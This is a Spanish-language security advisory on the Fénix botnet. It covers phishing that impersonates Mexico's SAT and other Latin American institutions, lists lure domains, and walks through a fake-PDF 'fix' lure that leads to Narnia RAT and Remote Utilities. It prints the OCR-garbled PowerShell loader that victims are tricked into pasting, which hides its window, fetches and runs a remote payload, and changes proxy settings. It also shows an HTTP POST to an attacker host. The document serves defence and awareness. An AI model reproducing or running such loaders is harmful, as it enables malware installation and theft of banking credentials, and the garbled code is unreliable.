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Descripcion

El grupo de criminales que gestiona la botnet Fénix ha intensificado sus actividades desde
2022. Este botnet ha dirigido multiples ataques, principalmente al SAT (Servicio de
Administracion Tributaria), utilizando como vectores de ataque el phishing y sitios web
fraudulentos que imitan portales oficiales, demostrando asi un objetivo centrado
fuertemente en ciudadanos mexicanos.

Estos sitios falsos invitan a los usuarios a descargar archivos supuestamente destinados a
mejorar la seguridad en la navegacion del portal. Sin embargo, la descarga instala la etapa
inicial del malware, lo que permite al atacante acceder a informacion confidencial, como
credenciales de acceso.

A continuacion, se presentan las campafias mas recientes de la botnet Fénix, que ha
permanecido activa desde 2022.
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Fecha de campania Pagina de aterrizaje Entidad y pais de destino

02-02-2023 citas-sregob-mexicol Jcom Secretaria de Relaciones Exteriores —

México

02-02-2023 e e Se,cr.etarla de Relaciones Exteriores —
México

. Servicio de Administracién Tributaria

02-02-2023 citas-sat2023[.Jcom.mx (SAT) - México

08-02-2023 mexico-curp[Jcom Selcr.etarla de Relaciones Exteriores —
México

04-03-2023 whatsapp.sitio web Publico en general

17-03-2023 sitio web annydesk Publico en general

17-03-2023 tramites-sat] Jcom.mx Secretaria de Relaciones Exteriores —

México
Servicio de Administracion Tributaria
(SAT) — México

Registro Publico Vehicular (REPUVE) -
México

14 de marzo de 2023 citasatmx2023[.]lat

14 de marzo de 2023 2repuvegobmx[.Jcom.mx

Servicio de Administracion Tributaria

16 de marzo de 2023 citas-satmx[.Jcom (SAT) — México

29-03-2023 Ibci-seguro[.Jcom Banco BCI - Chile
13 de abril de 2023 siii-chilel Jcom g‘;ﬁ’;m celimpezses lnares 0
15 de abril de 2023 consultacurp-gobmx[.Jcom.mx ;eécxriectjna el

Ainicios de 2024, el grupo de criminales detras de la botnet Fénix lanzé una nueva campafia
de ingenieria social dirigida a usuarios en México y Ameérica Latina que utilizan la plataforma
del SAT y otros servicios financieros en la region.

Translated
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La botnet conocida como "Fénix" ha lanzado recientemente una campana de estafas
enfocada en usuarios bancarios en México. Esta campafia utiliza mensajes de texto
fraudulentos que simulan provenir del SAT, con el objetivo de engafiar a las victimas para
que descarguen un archivo. Al hacerlo, los usuarios sin saberlo instalan malware en sus
dispositivos, lo que permite a los atacantes robar la informacion necesaria para acceder a
sus cuentas bancarias y datos confidenciales.

Procedimiento detallado del funcionamiento de la Botnet Fenix

1. Llegada del mensaje de texto fraudulento:
La victima recibe un SMS que simula provenir del SAT, notificando sobre un archivo PDF
importante pendiente de descarga. Este mensaje sirve como cebo para atraer a la victima
a hacer clic en un enlace malicioso.

< @ 21212

Bloquear nimero

Tienes un citatorio
SAT. Descargal:
solo en tu
computadora en
sat.formato.zip/
file/citatorio.pdf y
evita sanciones.

2. Visualizacion del archivo falso:
Al acceder al enlace, la victima no ve un archivo PDF real, sino una pagina HTML que simula
dicho formato y muestra un mensaje de error, indicando que el archivo no se puede
visualizar.

3. Paso para “solucionar” el error:

Aparece un boton de “Solucionar” que, al hacer clic, copia en el portapapeles un codigo
malicioso sin que la victima lo perciba.
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POF

Ha ocurrido un problema con el navegador.

Para visualizar el contenido correctamente, debe resolver el problema.

Soludonar Reintentar
e eS|

1..powershell -MindowStyle hidden “B{Start-Sleep 10;$1%-"HECU\SOFTWARE Wicrosoft'$Ves"";
Stat-8('17,72",73", "4"); for (S0 SiH -1t Stad.Length; Skhee)(;Stqereg.exe query SIN /v Stad[$hi];Sta-sta
“split ' ";$¥ess$ta[8]);powershell $¥e)”,8$60:((Invoke RestMethod -Uri ~*“https://api.blockcyphercom/vl/
bte bc1am0i5 1v] ervinrpretakrdg/ 41 *=*). ts |Forfach
Object ($_. outputs} | Fortach-Cbject{$_.addresses))(9];
PR fighi Jamnopars tuvmy 2™ SHS(9) ; $Y5-0; whi le (S5
18530, Length-and$BQ[$Y5] -€q"1") ($H5+-0; $¥5es ) ;while($V5- 1550, Length) ( SLE-33Q(SYS); 1f ($HQ. IndexOf ($4)
0q-1) () 5 $Hewh {16 (S 10885 Count ) {SHS[ $hH] * 58, Skites )  SHS[0] ¢ w80, IndewOf (SLt); $5g0, Shteld;wh i Lo ($ikH
LESHS . Count ) ($HS{ $hH ) o= 5¢; $5gSHS[ S48 -shr- 8, SHS[ $KH] 445 [ ShH] -band Bxf¢; $ushes ) while($5g-ned) ($454+55¢
basd €xfe;$5g+85¢-shr §),5Y5es); $hPdew-Clject Systes.Collections.Acraylist; $hP. AddRange ($H5);
$8 Reverse() ;89 « $19 Gothange(0, 349 Count - 4);$01-[Systew. Text. (ncoding]: ‘UTFS, CetString(SAP);$H0s
(Tmvoke-MebRequest *=*$01°** -UseRasicParsing) Content;
$5g+(System.Text . Encoding) : :UTFS. GetString{$HQ) ;powershell $5¢;8povershell -WindowStyle hldden “&( REG.EXE
ADD "HKEY_CURRENT_USER\SOF TWARE \Microsof t\Windows \CurrentVersicn\Internet Settings’ /v ProxyEnsble /t
REG_OMORD /4 @ /£,)";

POST /a1 X3¢ 1A post . php HITP/3.1
Accept: text/htal, text/strings

content-type: spplication/x-ww-form-ur lencoded
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinGs; wed
Host: d3¢Bev. top

Cantest -Length: 59

l(.m- Comtrol: so-cache

4. Ejecucién de comandos maliciosos:
La pagina web instruye a la victima a presionar las teclas Windows + R para abrir el cuadro
de ejecucion de comandos de Windows. Luego, se le pide que pegue el contenido copiado
(un codigo malicioso) en este cuadro y presione Enter.

Presione la combinacion de teclas U + R y posteriormente CTRL + V, luego presione Enter,
como siguente paso presione en solucionar.

5. Instalacion del malware:
Al ejecutar el caodigo, la victima permite la instalacion del malware, identificado como Narnia
RAT, que proporciona acceso remoto a los atacantes. Esto facilita el robo de informacion
bancaria y otros datos personales del usuario.

6. Mecanismo de persistencia del ataque:
Para evitar ser detectado y mantenerse en el sistema, el malware instala un programa
adicional llamado Remote Utilities, que garantiza a los atacantes acceso continuo al
dispositivo, incluso si el malware original es eliminado por un antivirus.
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7. Exfiltracion de credenciales bancarias:
Una vez en el sistema, el malware comienza a registrar la actividad del usuario, capturando
credenciales de acceso y datos confidenciales de aplicaciones bancarias, incluidas
Banamex, BBVA, Santander, entre otras. Esta informacién se envia a los atacantes, quienes
pueden utilizarla para realizar transacciones sin autorizacion.

Este procedimiento expone como la Botnet Fenix recurre a técnicas de ingenieria social,
explotando la confianza de los usuarios en instituciones como el SAT para llevar a cabo su
ataque.
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Recomendaciones

A continuacion, damos algunas recomendaciones para evitar verse comprometidos y/o
afectados por estas bandas.

Evitar ejecutar o abrir archivos de acceso directo desconocidos o no solicitados.
Capacite a los usuarios para que identifiquen y denuncien contenido
potencialmente malicioso mediante programas de capacitacion sobre
concientizacion sobre seguridad y phishing (PSAT).

Mantener las firmas de antivirus actualizadas al igual que los servicios mas criticos
y sobre todos, los expuestos a Internet.

En redes corporativas, se recomienda la utilizacion de Endpoint Detection and
Response (EDR) o Extended Detection and Response (XDR) centralizador para
monitorear los dipositivos digitales de la organizacion, y tener visibilidad y control
sobre los mismos.

Si tiene alguna consulta especificas sobre implementaciones de soluciones de
ciberseguridad puede contactar con nuestro equipo a info@cybolt.com con mucho gusto
le estaran asesorando.

Informacién adicional:

https://www.metabaseqg.com/threat/fenix-botnet/

https://www.esentire.com/blog/fenix-botnet-targeting-latam-users

https://www.linkedin.com/in/gfdez/

https://www.publimetro.com.mx/noticias/2024/10/16/modus-operandi-asi-es-

como-botnet-fenix-suplanta-al-sat-y-roba-tu-cuenta-bancaria/

https://www.esentire.com/blog/fenix-botnet-targeting-latam-users
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